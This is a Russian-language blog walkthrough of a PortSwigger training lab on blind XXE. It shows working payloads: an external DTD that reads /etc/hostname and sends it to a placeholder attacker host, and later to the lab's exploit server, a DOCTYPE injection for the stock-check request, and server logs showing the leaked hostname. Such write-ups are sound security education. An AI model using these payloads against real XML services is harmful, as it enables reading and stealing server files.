На странице
apsyleg1 мин
#portswigger #xxe #web-security

Blind XXE: эксфильтрация данных через вредоносный external DTD

Лаборатория

Exploiting blind XXE to exfiltrate data using a malicious external DTD · Practitioner

Решение

Дано

This lab has a "Check stock" feature that parses XML input but does not display the result.

To solve the lab, exfiltrate the contents of the /etc/hostname file.

Анализ

Как обычно — есть функция проверки наличия товара, она использует XML и уязвима к XXE. Однако результат не возвращается в ответе, поэтому нужно использовать external DTD для получения содержимого файла /etc/hostname.

Что нам потребуется?

  1. Exploit-сервер, где мы разместим external DTD.
  2. Payload для external DTD.
  3. Payload для роута получения остатка товара.
  4. Exploit-сервер, который примет данные из /etc/hostname.

1 и 4 нам предоставил PortSwigger.

Payload для external DTD:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Payload для роута:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

Это примерные payload'ы. В процессе разведки добавим в них актуальные адреса.

Разведка и атака

Находим нужный роут — POST /product/stock:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Ок, посмотрим наш exploit-сервер. Адрес для внешнего DTD:

https://exploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net/exploit.dtd

Думаю, сразу стоит задать ему кодировку:

Content-Type: text/xml; charset=utf-8

Содержимое будет:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'https://exploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net?x=%file;'>">
%eval;
%exfiltrate;

Ок, файл готов. Теперь payload для запроса:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net/exploit.dtd"> %xxe;]>

Ммм, похоже получилось:

10.0.3.6        2026-05-30 07:28:22 +0000 "GET /exploit.dtd HTTP/1.1" 200 "User-Agent: Java/21.0.1"
10.0.3.6        2026-05-30 07:28:22 +0000 "GET /?x=87fc24e05976 HTTP/1.1" 200 "User-Agent: Java/21.0.1"

Имя хоста — 87fc24e05976. Сабмитим ответ.

Лаба решена!